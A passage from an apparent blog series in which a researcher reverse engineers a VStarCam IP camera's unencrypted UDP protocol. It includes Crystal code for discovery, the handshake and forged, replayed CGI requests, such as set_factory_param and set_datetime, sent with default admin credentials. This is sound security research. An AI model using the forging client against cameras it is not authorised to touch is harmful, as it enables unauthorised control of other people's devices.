CHECK_USERS_MODIFIED_REQUEST3 = "GET /check_user.cgi?name=987654321&loginuse=admin&loginpas=password&user=admin&pwd=password&"
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST
CHECK_USERS_MODIFIED_REPLAY1 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST1
CHECK_USERS_MODIFIED_REPLAY2 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST2
CHECK_USERS_MODIFIED_REPLAY3 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST3

In the constant CHECK_USERS_MODIFIED_REQUEST1 I changed the name parameter to make it shorter, and in CHECK_USERS_MODIFIED_REQUEST2 I made the name a bit longer, and in CHECK_USERS_MODIFIED_REQUEST3 I reversed the name, but kept the amount of chars the same.

Sending 1 or 2 does nothing and the server doesn't even reply back. Sending request 3 however, works just fine, and produces the correct output.

What we just learned from this is that the header has values specifically related to size not content.

If we try to replay the same packet twice in a session, we see another weird behavior.

I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd0\x00\x48\xd1\x00\x00\x00\x01\x0a\xa0\x60\x3c\x00\x00\x01\x72\x65\x73\x75\x6c\x74\x3d\x20\x30\x3b\x0d\x0a\x76\x61\x72\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72\x73\x3d\x31\x3b\x0d\x0a\x76\x61\x72\x20\x6d\x61\x78\x5f\x73\x75\x70\x70\x6f\x72\x74\x5f\x75\x73\x65\x72\x73\x3d\x34\x3b\x0d\x0a
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:31 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong

The first replay works fine, but the second one doesn't produce results, but does produce the failure acknowledgement. Maybe the acknowledgment packet signifies that the is formatted correctly, but won't give the results if the values aren't 100% correct. My guess would be that the bytes that control size are fine, but the bytes that control order are not.

Let's move on to deciphering these two mysteries.

Figuring out the header

The first big mystery we want to solve is the header, how it's made, and what we can do with it. To do this,we will open up Android Studio with the Eye4 app and do a full capture, from logging into the device, to changing all the settings in the client.

Here are some examples, I pulled them all in order from when the were received. I also do a little number analysis on it and print out the result.

CHECK_USERS_HEADER = "\xf1\xd0\x00\x68\xd1\x00\x00\x00"
CHECK_USERS_REQUEST_HEADER = "\x01\x0a\x00\x00\x5c\x00\x00\x00"
CHECK_USERS_REQUEST = "GET /check_user.cgi?name=123456789&loginuse=admin&loginpas=password&user=admin&pwd=password&"
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST_HEADER + CHECK_USERS_REQUEST

CONGLOMERATE_HEADER = "\xf1\xd0\x01\xb9\xd1\x00\x00\x01"
CONGLOMERATE_REQUEST1_HEADER = "\x01\x0a\x00\x00\x51\x00\x00\x00"
CONGLOMERATE_REQUEST1 = "GET /snapshot.cgi?res=1&loginuse=admin&loginpas=password&user=admin&pwd=password&"
CONGLOMERATE_REQUEST2_HEADER = "\x01\x0a\x00\x00\x4c\x00\x00\x00"
CONGLOMERATE_REQUEST2 = "GET /get_status.cgi?loginuse=admin&loginpas=password&user=admin&pwd=password"
CONGLOMERATE_REQUEST3_HEADER = "\x01\x0a\x00\x00\x53\x00\x00\x00"
CONGLOMERATE_REQUEST3 = "GET /get_factory_param.cgi?loginuse=admin&loginpas=password&user=admin&pwd=password"
CONGLOMERATE_REQUEST4_HEADER = "\x01\x0a\x00\x00\x4c\x00\x00\x00"
CONGLOMERATE_REQUEST4 = "GET /get_params.cgi?loginuse=admin&loginpas=password&user=admin&pwd=password"
CONGLOMERATE_REQUEST5_HEADER = "\x01\x0a\x00\x00\x51\x00\x00\x00"
CONGLOMERATE_REQUEST5 = "GET /snapshot.cgi?&res=1&loginuse=admin&loginpas=password&user=admin&pwd=password"
CONGLOMERATE_REPLAY = CONGLOMERATE_HEADER + CONGLOMERATE_REQUEST1_HEADER + CONGLOMERATE_REQUEST1 + CONGLOMERATE_REQUEST2_HEADER + CONGLOMERATE_REQUEST2 +
                      CONGLOMERATE_REQUEST3_HEADER + CONGLOMERATE_REQUEST3 + CONGLOMERATE_REQUEST4_HEADER + CONGLOMERATE_REQUEST4 + CONGLOMERATE_REQUEST5_HEADER + CONGLOMERATE_REQUEST5

SET_FACTORY_HEADER = "\xf1\xd0\x00\x7e\xd1\x00\x00\x02"
SET_FACTORY_REQUEST_HEADER = "\x01\x0a\x00\x00\x72\x00\x00\x00"
SET_FACTORY_REQUEST = "GET /set_factory_param.cgi?alarm_server=push.eye4.cn/VSTC&loginuse=admin&loginpas=password&user=admin&pwd=password"
SET_FACTORY_REPLAY = SET_FACTORY_HEADER + SET_FACTORY_REQUEST_HEADER + SET_FACTORY_REQUEST

SET_DATETIME_HEADER = "\xf1\xd0\x00\x99\xd1\x00\x00\x03"
SET_DATETIME_REQUEST_HEADER = "\x01\x0a\x00\x00\x8d\x00\x00\x00"
SET_DATETIME_REQUEST = "GET /set_datetime.cgi?tz=28800&ntp_enable=1&ntp_svr=time.windows.com&now=1551842107&loginuse=admin&loginpas=password&user=admin&pwd=password&"
SET_DATETIME_REPLAY = SET_DATETIME_HEADER + SET_DATETIME_REQUEST_HEADER + SET_DATETIME_REQUEST

puts "CHECK_USERS_REPLAY BREAKDOWN"
puts "    REQUEST LENGTH = D:#{CHECK_USERS_REQUEST.size} | H:0x#{CHECK_USERS_REQUEST.size.to_s(16)}"
puts "    PACKET LENGTH = D:#{CHECK_USERS_REPLAY.size} | H:0x#{CHECK_USERS_REPLAY.size.to_s(16)}"
puts
puts "CONGLOMERATE_REPLAY BREAKDOWN"
puts "    REQUEST1 LENGTH = D:#{CONGLOMERATE_REQUEST1.size} | H:0x#{CONGLOMERATE_REQUEST1.size.to_s(16)}"
puts "    REQUEST2 LENGTH = D:#{CONGLOMERATE_REQUEST2.size} | H:0x#{CONGLOMERATE_REQUEST2.size.to_s(16)}"
puts "    REQUEST3 LENGTH = D:#{CONGLOMERATE_REQUEST3.size} | H:0x#{CONGLOMERATE_REQUEST3.size.to_s(16)}"
puts "    REQUEST4 LENGTH = D:#{CONGLOMERATE_REQUEST4.size} | H:0x#{CONGLOMERATE_REQUEST4.size.to_s(16)}"
puts "    REQUEST5 LENGTH = D:#{CONGLOMERATE_REQUEST5.size} | H:0x#{CONGLOMERATE_REQUEST5.size.to_s(16)}"
puts "    PACKET LENGTH = D:#{CONGLOMERATE_REPLAY.size} | H:0x#{CONGLOMERATE_REPLAY.size.to_s(16)}"
puts
puts "SET_FACTORY_REPLAY BREAKDOWN"
puts "    REQUEST LENGTH = D:#{SET_FACTORY_REQUEST.size} | H:0x#{SET_FACTORY_REQUEST.size.to_s(16)}"
puts "    PACKET LENGTH = D:#{SET_FACTORY_REPLAY.size} | H:0x#{SET_FACTORY_REPLAY.size.to_s(16)}"
puts
puts "SET_DATETIME_REPLAY BREAKDOWN "
puts "    REQUEST LENGTH = D:#{SET_DATETIME_REQUEST.size} | H:0x#{SET_DATETIME_REQUEST.size.to_s(16)}"
puts "    PACKET LENGTH = D:#{SET_DATETIME_REPLAY.size} | H:0x#{SET_DATETIME_REPLAY.size.to_s(16)}"

CHECK_USERS_REPLAY BREAKDOWN
    REQUEST LENGTH = D:92 | H:0x5c
    PACKET LENGTH = D:108 | H:0x6c

CONGLOMERATE_REPLAY BREAKDOWN
    REQUEST1 LENGTH = D:81 | H:0x51
    REQUEST2 LENGTH = D:76 | H:0x4c
    REQUEST3 LENGTH = D:83 | H:0x53
    REQUEST4 LENGTH = D:76 | H:0x4c
    REQUEST5 LENGTH = D:81 | H:0x51
    PACKET LENGTH = D:445 | H:0x1bd

SET_FACTORY_REPLAY BREAKDOWN
    REQUEST LENGTH = D:114 | H:0x72
    PACKET LENGTH = D:130 | H:0x82

SET_DATETIME_REPLAY BREAKDOWN
    REQUEST LENGTH = D:141 | H:0x8d
    PACKET LENGTH = D:157 | H:0x9d
[Done] exited with code=0 in 0.663 seconds

When writing this test, I noticed that the 8 byte segments were very similar to the other 8 byte segments, so I wanted to break them up, because I was sure it was significant.

We want to take a look at the hex numbers and start comparing them to numbers in the header. We see, for example, that CHECK_USER_REQUEST length is 0x5c, which we can also see in the CHECK_USER_REQUEST_HEADER in byte[4]. We can see this in every request header.

Another interesting thing we can notice is that the CHECK_USERS_HEADER has a byte, very close to 0x5c, in fact, only 0x4 off. If we go through the other packets (except for the conglomerate one), we see this is the case every time.

Taking a look at the conglomerate packet confirms our suspicion that the 8 bytes right before the GET request is tied to the request itself. We can also see that the top 8 byte header contains 0x1b9 which is 0x4 off the total length 0x1bd. We can also see the request headers match up with the total bytes in each separate request. We also can see the top header's byte length is a 2 byte big endian integer, so we will need to plan for that.

Each of those packets were taken sequentially, in order, from the capture. We can see the last most byte in each of the headers denotes what packet order it's on. We will need to keep track of the number of requests we send.

Ultimately, this all means that we can forge requests, all we need is the GET request length, and the number of GET requests the client has sent.

USER = "admin"
PASS = "password"
LOGIN_PARAMS = "&loginuse=#{USER}&loginpas=#{PASS}&user=#{USER}&pwd=#{PASS}"
@requests_sent = 0

def make_udp_header(get_request)
  "\xf1\xd0#{String.new(Bytes[get_request.size + 0xc]).rjust(2, "\x00"[0])}\xd1\x00#{String.new(Bytes[@requests_sent]).rjust(2, "\x00"[0])}"
end

def make_get_request_header(get_request)
  "\x01\x0a\x00#{String.new(Bytes[get_request.size]).rjust(2, "\x00"[0])}\x00\x00\x00"
end

def send_udp_get_request(cgi : String, **params)
  param_string = params.keys.map{|param_name|"#{param_name}=#{params[param_name]}"}.join('&')
  get_request = "GET /#{cgi}.cgi?#{param_string}#{LOGIN_PARAMS}"
  header = make_udp_header(get_request)
  request_header = make_get_request_header(get_request)
  data_sock.send(header + request_header + get_request, target)
  @requests_sent += 1
  LOG.info "SENT #{get_request}"
end

Forging Requests

Forging our own packets now seems pretty plausible, let's give it a try.

require "./client"

client = Client.new
client.run
# Wait until main phase
until client.state == :main_phase
  sleep 0.1
end

client.send_udp_get_request("check_user", name: "123456789")
sleep 3
client.send_udp_get_request("check_user", name: "123456789")
sleep 3
client.send_udp_get_request("check_user", name: "123456789")
sleep 3
client.send_udp_get_request("check_user", name: "123456789")
sleep 3
sleep 5
client.close

This code will not only test if we can forge the first packet, but also the subsequent ones. Checking the Wireshark with a special filter shows the success * frame contains GET || frame contains F1:D1:00 || frame contains F1:D0:00

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
Static Analysis (Systems & Security) • 8 years — Auditing source code and binary assets to detect software flaws, security anti-patterns, and compliance issues. [Cwe]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[VStarCam - Investigational Journey] Writing a Client

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Now that we have learned some interesting things about the communications, let's see if we can write our own suite of tools to work with the camera.

Before we start, I'll be using the wonderful programming language from the boys over at Crystal. It's a very fast, statically typed language, with very zen and down to Earth syntax. The meta-programming aspect of the language is very cool!

First thing we should do is talk about design.

From what we can see right now the camera and client go through different states, things like sending the DBP, waiting for the BPA, that sort of thing. As such, we will want to make a simple state machine. Here is the basic outline of the functionality we need.

class Client
  STATES = [:nothing,
            :send_dbp,
            :wait_for_dbr,
            :send_bcp,
            :handle_bp_handshake,
            :main_phase,
            :closing,
            :closed]
  getter state : Symbol = :nothing

  # Change the state of the client.
  def change_state(state)
    @state = state
    LOG.info "Changing to #{@state}"
    tick # rerun the tick since the state immediately changed and there is new stuff to do.
  end
end

The idea is that whenever we change the state of our client, we are moving to the next phase of communication.

Next big thing we need to talk about are Fibers. If you are unfamiliar with them, I would suggest reading this article.

We have two main tasks, we need to have a Data Loop, which will take data in from ports (depending on the state of the client, choose which port to use), and then take that data and shovel it off into a channel. Then we will have the Tick Loop, which will run the decisions to be made on the incoming data.

Starting the client

One of the first things we want to be able to do is start the client, and have it "idle" while waiting for connections.

# Sets up the client by binding the udp sockets to addresses and ports
  def setup
    # Don't resetup the client if its is_running
    if !is_running?
      LOG.info("Opening ports")
      # Our socket for sending UDP data to the camera
      @data_sock.bind DATA_SOCK_SRC
      # Super important to enable this or else we can't broadcast to 255.255.255.255!
      @data_sock.setsockopt LibC::SO_BROADCAST, 1
      # Our socket for sending discovery broadcasts.
      @db_sock.bind DB_SOCK_SRC
      @db_sock.setsockopt LibC::SO_BROADCAST, 1

      LOG.info("Ports opened")
      return
    else
      LOG.error "CANNOT SETUP CLIENT WHILE IT IS RUNNING!"
      raise "CANNOT SETUP CLIENT WHILE IT IS RUNNING!"
    end
  end

  def run
    # Dont allow the client to run again!
    if !is_running?
      @is_running = true
      # Change the state so it will attempt to discover a camera on the network
      @state = :send_dbp
      #Start our fibers
      start_data_fiber
      start_tick_fiber
    else
      LOG.error "ALREADY RUNNING CLIENT!"
    end
  end

The main idea is that we set up the client, making a variable that will track if it's running or not. It also sets up the ports we need to communicate our discovery broadcast, as well as the UDP data socket. We also have a method run which will stop the method if it is already running, change the state to the first phase, then start our fibers for data and tick.

Fiber Design

# Channel that will communicate data back to the tick fiber
  @data_channel = Channel(Tuple(String, Socket::IPAddress)).new

  # Fiber which deals with incoming packet data, holds this data temporarily and then sends the data via @data_channel to the tick fiber.
  @data_fiber : Fiber = spawn {}

  # Fiber which handles the decision process of handling the state of the client. Recieves incoming data  from data_channel and processes it
  @tick_fiber : Fiber = spawn {}

Then we want to write our two "start fiber" methods. We reassign the fiber variable for the action, trap any exceptions and rescue them out (specifically for the case of the ports shutting down while sending data), create a while loop with is_running? as a condition, and then fill in the meat of the fibers.

Data fiber will block on the data socket, then transfer any data received to the channel.

Tick fiber will run the update tick continually until the client is no longer running.

# Start the fiber which blocks for incoming data, then forwards it to a channel.
def start_data_fiber
  @data_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        # Will block execution
        packet = data_sock.receive
        @data_channel.send(packet)
      end
    rescue e
      LOG.info "DATA EXCEPTION #{e}"
    end
  end
end

# Start the fiber which contains the tick logic.
def start_tick_fiber
  @tick_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        tick
      end
    rescue e
      LOG.info "TICK EXCEPTION #{e}"
    end
  end
end

Closing the client

When the data fiber is blocked, there is no way to "kill" the fiber when we want the program to exit. Instead, we need to simulate some data into the socket, freeing the fiber to execute and close itself.

First we turn @is_running to false, then send the "unblock fiber data" into the data socket. We then use a Fiber.yield to give control back to the data fiber. While we can't give control back directly to the data fiber, we know that the tick fiber will most likely be blocked and the data fiber will get it's turn.

We then close the sockets, change_state to closing, and set the target camera back to 0.

UNBLOCK_FIBER_DATA = "e127e855-36d2-43f1-82c0-95f2ba5fe800"
def close
  LOG.info("Closing client")
  @is_running = false
  change_state(:closing)

  # This line unblocks the @data_fiber
  @data_sock.send(UNBLOCK_FIBER_DATA, Socket::IPAddress.new("127.0.0.1", DATA_SOCK_SRC.port))

  # Force a fiber change to go to the other fibers to end them
  Fiber.yield

  # Now we can close the sockets
  @data_sock.close
  @db_sock.close

  # Reset the target_camera
  new_target "0.0.0.0", 0
  change_state(:closed)
  LOG.info("Closed client")
end

Tick Layout

In the tick method, we want to layout a basic pattern of transitions for the client.

# Main decision making function
def tick
  if state == :nothing
    # Do nothing
  elsif state == :send_dbp
    send_dbp
    change_state :wait_for_dbr
  elsif state == :wait_for_dbr
    info = wait_for_dbr
    if info
      @target_info = info
      change_state :send_bcp
    else
      change_state :send_dbp
    end
  elsif state == :send_bcp
    send_bcp
    change_state :handle_bp_handshake
  elsif state == :handle_bp_handshake
    handle_bp_handshake

    if has_target?
      change_state :main_phase
    else
      change_state :send_dbp
    end
  elsif state == :main_phase
    # Do ping pong, etc in here
    main_phase
  else
    raise "THERE WAS A BAD IN TICK!"
  end
end

DBP and DBR

We need to send our DBP, so we can start to discover cameras. This process is fairly straight forward.

# Source address for the discovery packet
DB_SOCK_SRC = Socket::IPAddress.new("0.0.0.0", 6801)

# Destination address for the discovery packet
DB_SOCK_DST = Socket::IPAddress.new("255.255.255.255", 8600)

# Discovery packet data
DBP = "\x44\x48\x01\x01"

# Send the DBP to the camera
def send_dbp
  LOG.info("Sending DBP")
  db_sock.send(DBP, DBP_SOCK_DST)
  LOG.info("Sent DBP")
end

After sending we want to wait until the camera responds with the DBR. We also want to parse some of the data coming in, as it has some juicy info we might want to reference later.

# Size of the discovery packet reply
DBR_SIZE = 570

# Regex to check if a packet is a DBR
DBR_REGEX = /^DH/

# Wait for the DBR to come back from the camera.
def wait_for_dbr : Hash(Symbol, String)?
  LOG.info("Waiting for DBR")
  packet = db_sock.receive
  if packet
    if check_dbr(packet)
      info = parse_dbr(packet)
      LOG.info("DBR RECEIVED FROM #{info[:camera_ip]}, UID: #{info[:uid]}")
      return info
    else
      LOG.info("BAD/NON DBR RECEIVED! #{packet[0].bytes.map {|d| d.to_s(16).rjust(2, '0')}.join("\\x")}")
    end
  else
    LOG.info("NO DBR RECEIVED!")
  end
  return nil
end

# Check if the packet we recieved was a DBR
def check_dbr(packet) : Bool
  !!(packet[0] =~ DBR_REGEX)
end

# Parse the DBR information into a hash
def parse_dbr(packet) : Hash(Symbol, String)
  data = packet[0]
  connection = packet[1]

  result = {} of Symbol => String
  result[:camera_ip] = data[4..19].gsub("\x00", "")
  result[:netmask] = data[20..35].gsub("\x00", "")
  result[:gateway] = data[36..51].gsub("\x00", "")
  result[:dns_server1] = data[52..67].gsub("\x00", "")
  result[:dns_server2] = data[68..83].gsub("\x00", "")
  result[:mac_address] = (data[84..88].bytes.map {|b| b.to_s(16).rjust(2, '0').upcase}).join
  result[:http_port] = ((data.bytes[91].to_i32 << 8) + data.bytes[90].to_i32).to_s
  result[:uid] = data[91..105]
  LOG.info("Parsed new target camera #{result}")
  result
end

BCP and BPR

We then want to send a BCP to broadcast now that the DPR has been resolved.

# Destination address for the f130 broadcast packet
BC_SOCK_DST = Socket::IPAddress.new("255.255.255.255", 32108)
# F130 broadcast packet data
BCP = "\xf1\x30\x00\x00"
# Send the magic f130 broadcast packet
def send_bcp
  data_sock.send(BCP, BC_SOCK_DST)
end

We now need to handle the handshake, which consists of broadcasting a BCP and waiting for a BPS, then replying back with a BPS, and then receiving a BPA.

# F130 broadcast packet reply header
BPR_HEADER = "\xf1\x42\x00\x14"

# Fixed BPR size
BPR_SIZE = 24

# Character sent for "SYN"
BP_SYN = 'A'

# Character sent for "ACK"
BP_ACK = 'B'

# Complete the handshake using BPS
def handle_bp_handshake
  LOG.info("Waiting for BPS")
  packet = @data_channel.receive #BPR size is always fixed
  LOG.info("Recieved a packet")
  if packet
    data = packet[0]  # Contains the packet data
    camera_ip = packet[1] # Connection info to connect back into the camera
    LOG.info("Recieved a potential BPS from #{camera_ip}")
    # Check if out BPR is actually a BPR
    if data[1] == BP_SYN
      LOG.info("BPS Verified!")
    else
      LOG.info("BPS BAD! #{"\\x" + data.bytes.map {|d| d.to_s(16).rjust(2, '0')}.join("\\x")}")
      return
    end
    # Echo back packet data back
    LOG.info("Waiting for BPA")
    data_sock.send(data, camera_ip)
    # Recv the BPR ACK packet
    packet = @data_channel.receive
    if packet
      LOG.info("Recieved potential BPA?")
      data = packet[0]
      camera_ip = packet[1]
      if data[1] == BP_ACK
        LOG.info("BPA Verified! Handshake successful!")
        # set the target camera to the current connection
        new_target camera_ip
      else
        LOG.info("BPA BAD! #{data.bytes.map {|d| d.to_s(16).rjust(2, '0')}.join("\\x")}")
      end
    end
  end
end

Main Phase

Now we need to handle the ping pong packets! This is super simple now that we have finished the hard part.

# Packet that must be sent between the camera and the client at least once every 11 packets
PING_PACKET = "\xf1\xe0\x00\x00"
# Packet that must be sent between the camera and the client at least once every 11 packets
PONG_PACKET = "\xf1\xe1\x00\x00"

def main_phase
  # Block here to recieve data from the data fiber
  data = @data_channel.receive

  # Classify each packet and respond
  if data[0] == PING_PACKET
    send_pong
    LOG.info "Sent Pong"
  elsif data[0] == PONG_PACKET
    send_ping
    LOG.info "Sent Ping"
  # This is important! The data fiber will block, waiting for data to come through
  # So to exit the program, we just send the unblock data to the data socket to free it
  elsif data[0][0..3] == BPA_HEADER
    LOG.info "Receive extra BPA"
  elsif data[0] == UNBLOCK_FIBER_DATA
    LOG.info "RECEIVED UNBLOCK FIBER COMMAND!"
  else
    LOG.info "UNKNOWN PACKET RECEIVED from #{data[1]} : #{data[0].bytes.map {|d| d.to_s(16).rjust(2, '0')}.join("\\x")}"
  end
end

def send_ping
  data_sock.send(PING_PACKET, target)
end

def send_pong
  data_sock.send(PONG_PACKET, target)
end

Testing

If we open up Wireshark and listen in to the connection, we should see that pings and pongs should coming through, and there should be no errors. Also the LOG should show that there were no errors as well.

Here's the code I used to run it.

require "./client"

client = Client.new
client.run
sleep 5
client.close

In the screenshot, we can see no errors or unexpected output. We get some destination unreachable errors at the end because that's when the server shutdown.

I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Opening ports
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Ports opened
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sending DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sent DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to wait_for_dbr
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for DBR
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Parsed new target camera {:camera_ip => "192.168.11.140", :netmask => "255.255.255.0", :gateway => "192.168.11.1", :dns_server1 => "8.8.8.8", :dns_server2 => "192.168.11.1", :mac_address => "48022A0BDBB4", :http_port => "11481", :uid => "VSTB668515UZCPK"}
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : DBR RECEIVED FROM 192.168.11.140, UID: VSTB668515UZCPK
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to send_bcp
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to handle_bp_handshake
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPS
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a packet
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a potential BPS from 192.168.11.140:10560
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPS Verified!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved potential BPA?
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPA Verified! Handshake successful!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to main_phase
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:38 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:39 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:40 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closing client
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closing
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closed
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closed client

From the LOG we can see everything is good!

Doing a little packet capture analysis, we can also see we have received a new packet, 0xf1f00000. This packet seems to be sent after a certain number of pings and pongs were missed. We can assume this is some sort of disconnection packet, and we should reflect that in our code

# Packet sent when the camera has timed out from ping-pong
DISCONNECT_PACKET= "\xf1\xf0\x00\x00"

def send_disconnect
  data_sock.send(DISCONNECT_PACKET, target)
  LOG.info "Sent Disconnect"
end

After we send the disconnect packet, the camera will send one of it's own. To avoid a destination unreachable, we should sleep for 0.1 seconds just to let the packet be received by the data socket, even though we aren't going to do anything with the packet

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Crystal (Languages) • 8 years — A fast, compiled, statically typed language with Ruby-inspired syntax. [Website | Github]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[VStarCam - Investigational Journey] Hardware Dumping

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

I figured since a majority of people would be using the Android client, I would start my audit there. The Android app, Eye4, is available in two separate downloads, one from the Eye4 site, and one from the Play store. They also have a Windows download, which I will audit later.

The first thing I wanted to do is compare the Play store APK with the Eye4 site APK to see if there is any foul play going on, but unfortunately their personal download on the site didn't work and lead to a blank page.

We want to start our network sniffer, and begin our testing process.

First thing we want to do is boot the camera up after resetting it for the first time. This makes sure we have a clean slate when working with the camera. We will be resetting the camera multiple times to make sure we have lots of samples to compare.

Without connecting to any client, we will boot the camera up, connect to our sniffer, capture all the boot network data, then reset the camera, stop capture, and restart the whole thing. We do this about 2-3 times to get an idea of what the booting process looks like.

After that, we will connect the camera to the client, by searching for LAN in the client and connecting that way. Delete the camera, reset, then try it again. Do this multiple times to get multiple captures.

After that, we will fully connect the camera to the app, changing the password, as well as using various features, such as camera control, taking videos/pictures, changing settings, etc.

Once we are satisfied with our captures, we will begin dissecting them packet by packet.

Boot Sequence

First impressions of boot sequence captures, what do we notice?

1. Take a look at some of the packets in the capture. 1. Do we see packets that have similar contents? 2. Can we see similar parts of packets that have small contents changed or replaced. 3. Do we see plaintext words/phrases? 4. Do we see commonly known numbers, ids, serial numbers, etc?

If you answered yes to any of these then the device most likely doesn't use encryption. This also means the device leaks data.

So let's go through the packets.

The first weird thing I noticed is that the camera picked up a weird IP address for my network. It started out with the ip address 192.168.1.126, but my internal network range is 192.168.11.(100-254) meaning this camera had already come with this configuration. It also broadcasts an ARP looking for 192.168.1.1, and sends out a bunch of "Hello I'm online!" messages. Already this doesn't bode well, as it looks like they aren't using any encryption. Maybe it's a fluke, let's dive deeper.

I also saw that the device also contacts a couple external hosts

s2.vstarcam.com via UDP s3.vstarcam.com via UDP s2.eye4.cn via UDP An Amazon EC2 instance via UDP Google's public DNS, looking for baidu, wshifen.com, a.shifen.com An Alibaba cloud instance which it talks to via HTTPS. A Tencent cloud instance which it talks to via HTTP time.windows.com via NTP

What did we learn?

The device may not use encryption The device may leak data as a result.

Let's take a look at the client's first registering of the camera, and it's first communications.

Registering the camera

I loaded the app onto an android emulator and went to town. I started by registering the camera to the client by using the "search for LAN" feature.

First thing we notice is that when the Android client initiates the connection, it doesn't talk directly to the camera, it instead sends a UDP packet with the contents 0x44480101. We will call this the Discovery Broadcast Packet or DBP for short. he camera then replies back with a 0x44480108, and then dumps a bunch of settings information to the broadcast address. We will call this the Discovery Broadcast Reply or DBR.

For some reason Wireshark labels this packet as an ASTERIX packet, which when I looked it up seems to have nothing to do with this protocol. Maybe it shares a port or something and Wireshark incorrectly labels it.

When you look at the data incoming, we can start to see how this packet is laid out. The first 4 bytes are a signal to the client that it's looking for it, the followed by a space specifically carved out for an IP address, plus one 0x00 byte to delimit. The way we can tell this is because if we were to count the chars in a full IP address string (XXX.XXX.XXX.XXX which is 15 bytes, plus a 0x00 byte to delimit, making it 16 bytes.) We can see the next IP address (Which is the netmask) would be adjacent to that.

The camera then sends an exact copy of the packet it just broadcast, directly to the client.

After this little dance the camera and client talk directly to each other. We see it chooses the port 47499, which when converted into hex is 0xB98B. We can see in the 0x80 row of the large packet above, there is a 0xB98B in little endian. This must be how the camera negotiates what port the client will talk to after the discovery phase.

When we compare this port number to our other captures, (remember, I captured the registration process, then reset the device, then did it again to see if I could notice any patterns.) we notice that the port changes with every reboot.

Looking at the contents of the HTTP GET request shows a sad truth, the devices doesn't use any encryption for it's client communications. This super concerning because not only does this compromise security of the device, especially on wireless, in an earlier capture, we have SEEN the device actually use SSL. So they are just choosing not to?

Looking at the reply brings much of the same sadness.

